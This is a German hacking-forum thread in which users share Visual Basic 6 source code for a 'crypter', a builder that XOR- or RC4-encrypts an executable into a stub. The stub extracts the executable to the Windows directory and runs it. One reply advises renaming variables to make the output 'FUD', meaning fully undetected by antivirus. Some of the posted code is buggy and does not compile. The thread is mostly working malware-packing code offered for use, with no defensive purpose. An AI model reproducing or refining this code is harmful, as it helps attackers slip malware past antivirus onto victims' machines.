How to - Einen Crypter coden

[Sn0opY]

ok weil ihr es seid hier mein abgetippter code

crypter

Dim sStub As String
Dim sFile As String
Dim sOutput As String
Dim sKey As String
Dim sInfo As String * 100
Dim FileLen As Long
Dim FileStart As Long
Dim sBuffer As String
Dim sBuffer2 As String
Dim iFF As Integer
Public Function ENC(ByVal sStr As String, ByVal sKey As String) As String
Dim i As Long
For i = 1 To Len(sStr)
ENC = ENC & Chr(Asc(Mid(sKey, IIf(i Mod Len(sKey) <> 0, i Mod Len(sKey)), 1)) Xor Asc(Mid(sStr, i, 1)))
Next i
End Function
Private Sub Command1_Click()
sStub = App.Path & "\Stub\Stub.exe"
sFile = txt.File.Text
sKey = "RandomString"
sOutput = App.Path & "\CryptedbySn0opY.exe"

iFF = FreeFile

Open sStub For Binary As #iFF
sBuffer = Space(LOF(iFF))
FileStart = LOF(iFF) + 1
Get #iFF, , sBuffer
Close iFF

iFF = FreeFile
Open sFile For Binary As #iFF
sBuffer2 = Space(LOF(iFF))
FileLen = LOF(iFF)
Get #iFF, , sBuffer2
sBuffer2 = ENC(sBuffer2, sKey)
Close iFF

sInfo = Str(FileStart) & "#" & Str(sFileLen) & "#" & sKey & "#"


iFF = FreeFile
Open sOutput For Binary As #iFF
Put #iFF, , sBuffer
Put #iFF, FileStart, sBuffer2
Put #iFF, LOF(iFF) + 1, sInfo
Close

MsgBox "Fertig !Das is ne Beta hoffentlich klappt auchnoch alles! "
End Sub

Private Sub Command2_Click()
End Sub

Private Sub Image1_Click()

End Sub

Private Sub txtFile_Change()

End Sub

Stub

Sub Main()
Dim sInfo As String * 100
Dim sOutput As String
sOutput = Environ("windir") & "\Crypted.exe"
Dim sBuffer As String
Dim iFF As Integer
Dim cut() As String

iFF = FreeFile
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #iFF
Get iFF, LOF(iFF) - 99, sInfo
cut() = Split(sInfo, "#")
sBuffer = Space(CLng(cut(1)))
Get #iFF, CLng(cut(0)), sBuffer
sBuffer = ENC(sBuffer, cut(2))
Close #iFF

iFF = FreeFile
Open sOutput For Binary As #iFF
Put #iFF, , sBuffer
Close iFF

Shell sOutput

End

End Sub
Public Function ENC(ByVal sStr As String, ByVal sKey As String) As String
Dim i As Long
For i = 1 To Len(sStr)
ENC = ENC & Chr(Asc(Mid(sKey, IIf(i Mod Len(sKey) <> 0, i Mod Len(sKey)), 1)) Xor Asc(Mid(sStr, i, 1)))
Next i
End Function

wie gesagt die verschlüsselung mag net

Auf dieses Thema wird in dem Tutorial nicht eingegangen.
Du kannst dir allerdings andere Source Codes von Cryptern saugen und mit den Verschlüsselungsarten ein wenig rumexperimentieren. RC-4, Blowfish usw.
Wenn du dann noch die Variablen der Funktionen umbenennst, bekommst du dein Crypter sehr stark UD oder gar FUD.

Hier mal eine RC-4 Verschlüsselung

Public Function RC4(ByVal Expression As String, ByVal Password As String) As String
On Error Resume Next
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte
If Len(Password) = 0 Then
Exit Function
End If
If Len(Expression) = 0 Then
Exit Function
End If
If Len(Password) > 256 Then
Key() = StrConv(Left$(Password, 256), vbFromUnicode)
Else
Key() = StrConv(Password, vbFromUnicode)
End If
For X = 0 To 255
RB(X) = X
Next X
X = 0
Y = 0
Z = 0
For X = 0 To 255
Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256
Temp = RB(X)
RB(X) = RB(Y)
RB(Y) = Temp
Next X
X = 0
Y = 0
Z = 0
ByteArray() = StrConv(Expression, vbFromUnicode)
For X = 0 To Len(Expression)
Y = (Y + 1) Mod 256
Z = (Z + RB(Y)) Mod 256
Temp = RB(Y)
RB(Y) = RB(Z)
RB(Z) = Temp
ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
Next X
RC4 = StrConv(ByteArray, vbUnicode)
End Function

Was man allerdings sagen muss, die Methode ist nur Scantime nicht Runtime.

sBuffer2 = ENC(sBuffer2, sKey)

kommt bei mir n compile error

Dim sStub As String
Dim sFile As String
Dim sOutput As String
Dim sKey As String
Dim sInfo As String * 100
Dim FileLen As Long
Dim FileStart As Long
Dim sBuffer As String
Dim sBuffer2 As String
Dim iFF As Integer
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String
On Error Resume Next
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte
If Len(Password) = 0 Then
Exit Function
End If
If Len(Expression) = 0 Then
Exit Function
End If
If Len(Password) > 256 Then
Key() = StrConv(Left$(Password, 256), vbFromUnicode)
Else
Key() = StrConv(Password, vbFromUnicode)
End If
For X = 0 To 255
RB(X) = X
Next X
X = 0
Y = 0
Z = 0
For X = 0 To 255
Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256
Temp = RB(X)
RB(X) = RB(Y)
RB(Y) = Temp
Next X
X = 0
Y = 0
Z = 0
ByteArray() = StrConv(Expression, vbFromUnicode)
For X = 0 To Len(Expression)
Y = (Y + 1) Mod 256
Z = (Z + RB(Y)) Mod 256
Temp = RB(Y)
RB(Y) = RB(Z)
RB(Z) = Temp
ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
Next X
RC4 = StrConv(ByteArray, vbUnicode)
End Function
Private Sub Command1_Click()
sStub = App.Path & "\Stub\Stub.exe"
sFile = txt.File.Text
sKey = "RandomString"
sOutput = App.Path & "\CryptedbySn0opY.exe"

iFF = FreeFile

Open sStub For Binary As #iFF
sBuffer = Space(LOF(iFF))
FileStart = LOF(iFF) + 1
Get #iFF, , sBuffer
Close iFF

iFF = FreeFile
Open sFile For Binary As #iFF
sBuffer2 = Space(LOF(iFF))
FileLen = LOF(iFF)
Get #iFF, , sBuffer2
sBuffer2 = ENC(sBuffer2, sKey)
Close iFF

sInfo = Str(FileStart) & "#" & Str(sFileLen) & "#" & sKey & "#"


iFF = FreeFile
Open sOutput For Binary As #iFF
Put #iFF, , sBuffer
Put #iFF, FileStart, sBuffer2
Put #iFF, LOF(iFF) + 1, sInfo
Close

MsgBox "Fertig !Das is ne Beta hoffentlich klappt auchnoch alles! "
End Sub

Private Sub Command2_Click()
MsgBox "Coded by Sn0opY Beta 0.0000000000000001 "
End Sub

Private Sub Image1_Click()

End Sub

Private Sub txtFile_Change()

End Sub

müsste doch stimmen oder?